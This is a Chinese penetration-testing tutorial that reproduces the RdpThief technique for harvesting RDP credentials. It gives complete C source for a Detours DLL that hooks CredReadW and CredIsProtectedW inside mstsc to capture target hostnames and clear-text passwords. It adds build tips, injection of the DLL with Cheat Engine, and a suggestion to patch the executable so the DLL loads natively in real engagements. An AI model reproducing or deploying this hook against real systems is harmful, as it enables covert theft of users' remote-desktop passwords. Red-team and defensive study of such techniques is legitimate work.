獲取RDP連接中密碼的方法


前言

滲透過程中,當發現RDP連接中有記錄,但密碼未保存,找到RdpThief,本文是一篇利用復現。

實踐

系統
windows 7 32

工具
API Monitor
Cheat Engine6.7
RdpThief

將API Monitor,附加選擇mstsc進程,如圖所示:
監聽RDP進程

RDP點擊連接,並查看API Monitor列表
RDP連接

如果未監聽到,請在左側API帥選器中勾選如圖
抓取RDP調用API過程

可以看到,連接IP出現在CredReadW的調用中,直接HOOK這個位置就可以獲取連接IP,方法很多可以E語言實現比較簡單,這里我們參考RdpThief源碼,使用Detours
框架來實現HOOK。

Detours目錄
首先編譯框架,利用VS自帶工具VsDevCmd.bat,cd到Detours的src目錄
使用nmake命令編譯,並安裝框架
編譯安裝框架

代碼

這里直接使用MessageBoxW將HOOK的結果彈出,查看效果。

#include "stdafx.h"
#include <Windows.h>
#include <detours.h>
#include <dpapi.h>
#include <wincred.h>
#include <strsafe.h>
#include <subauth.h>
#define SECURITY_WIN32 
#include <sspi.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "Secur32.lib")

static BOOL(WINAPI *OriginalCredReadW)(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential) = CredReadW;
BOOL HookedCredReadW(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential)
{
	MessageBoxW(NULL, TargetName,L"Hostname",0);
	return OriginalCredReadW(TargetName, Type, Flags, Credential);
}

static BOOL(WINAPI *OriginalCredIsProtectedW)(LPWSTR pszProtectedCredentials, CRED_PROTECTION_TYPE *pProtectionType) = CredIsProtectedW;
BOOL HookedCredIsProtectedW(LPWSTR pszProtectedCredentials, CRED_PROTECTION_TYPE *pProtectionType)
{
	MessageBoxW(NULL, pszProtectedCredentials, L"Password", 0);
	return OriginalCredIsProtectedW(pszProtectedCredentials, pProtectionType);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  dwReason, LPVOID lpReserved)
{
	if (DetourIsHelperProcess()) {
		return TRUE;
	}

	if (dwReason == DLL_PROCESS_ATTACH) {
		DetourRestoreAfterWith();
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourAttach(&(PVOID&)OriginalCredReadW, HookedCredReadW);
		DetourAttach(&(PVOID&)OriginalCredIsProtectedW, HookedCredIsProtectedW);
		DetourTransactionCommit();
	}
	else if (dwReason == DLL_PROCESS_DETACH) {
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourDetach(&(PVOID&)OriginalCredReadW, HookedCredReadW);
		DetourDetach(&(PVOID&)OriginalCredIsProtectedW, HookedCredIsProtectedW);
		DetourTransactionCommit();

	}
	return TRUE;
}

這2個坑點,第1需要選擇多線程編譯模式,第2編譯要用Release否則注入后程序會崩潰。
多線程/MT

Release

編譯后,使用Cheat Engine將DLL注入mstsc進程,真實項目中,可通過PE修改方式直接使mstsc原生調用DLL。
注入DLL

獲取服務器地址

獲取服務器密碼

參考鏈接

https://mp.weixin.qq.com/s/4CRBFqDLzjyziNkz17-c5A

https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/

https://github.com/0x09AL/RdpThief


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM